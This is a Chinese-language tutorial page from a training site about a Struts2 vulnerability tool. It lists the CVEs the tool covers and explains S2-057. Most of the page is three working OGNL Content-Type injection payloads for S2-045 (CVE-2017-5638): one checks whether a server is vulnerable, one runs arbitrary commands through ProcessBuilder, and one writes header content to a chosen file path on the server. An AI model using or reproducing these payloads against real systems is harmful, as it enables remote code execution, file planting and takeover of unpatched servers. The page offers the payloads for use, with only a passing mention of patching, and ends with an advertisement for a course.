更新時(shí)間:2022-04-12 09:11:29 來源:動(dòng)力節(jié)點(diǎn) 瀏覽3368次
Struts2是一個(gè)基于MVC設(shè)計(jì)模式的Web應(yīng)用框架,但2存在遠(yuǎn)程代碼執(zhí)行的漏洞,動(dòng)力節(jié)點(diǎn)小編認(rèn)為,檢測出漏洞就要進(jìn)行Struts2漏洞修復(fù),現(xiàn)在Struts2漏洞檢測工具2017版增加S2-046,官方發(fā)布S2-046和S2-045漏洞引發(fā)原因一樣,只是利用漏洞的位置發(fā)生了變化,S2-046方式可能繞過部分WAF防護(hù),存在S2-045就存在S2-046。
當(dāng)Struts2開啟devMode模式時(shí),將導(dǎo)致嚴(yán)重遠(yuǎn)程代碼執(zhí)行漏洞。如果WebService啟動(dòng)權(quán)限為最高權(quán)限時(shí),可遠(yuǎn)程執(zhí)行任意命令,包括關(guān)機(jī)、建立新用戶、以及刪除服務(wù)器上所有文件等等。
支持S2-057 CVE-2018-11776 、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、 S2-032 CVE-2016-3081 、S2-020 CVE-2014-0094 、S2-019 CVE-2013-4316等漏洞檢測!
Apache Struts2存在遠(yuǎn)程代碼執(zhí)行的高危漏洞(S2-057/CVE-2018-11776),該漏洞由Semmle Security Research team的安全研究員Man YueMo發(fā)現(xiàn)。該漏洞是由于在Struts2開發(fā)框架中使用namespace功能定義XML配置時(shí),namespace值未被設(shè)置且在上層動(dòng)作配置(Action Configuration)中未設(shè)置或用通配符namespace,可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行。同理,url標(biāo)簽未設(shè)置value和action值且上層動(dòng)作未設(shè)置或用通配符namespace時(shí)也可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行!
S2-045:
1.驗(yàn)證漏洞,修改Content-Type,返回內(nèi)容為“webpath”代表存在漏洞。
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).
(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}
2.執(zhí)行命令
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new
java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).
(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).
(#res.getWriter().close()).(#s.close())}
3.上傳文件:
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new
java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).
(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).
(#res.getWriter().close())}
以上就是關(guān)于“Struts2漏洞利用工具的檢查方法”介紹,大家如果想了解更多相關(guān)知識,不妨來關(guān)注一下動(dòng)力節(jié)點(diǎn)的Struts2視頻教程,里面的內(nèi)容更加豐富,課程由淺到深,通俗易懂,適合沒有基礎(chǔ)的小伙伴學(xué)習(xí),希望對大家能夠有所幫助。
初級 202925
初級 203221
初級 202629
初級 203743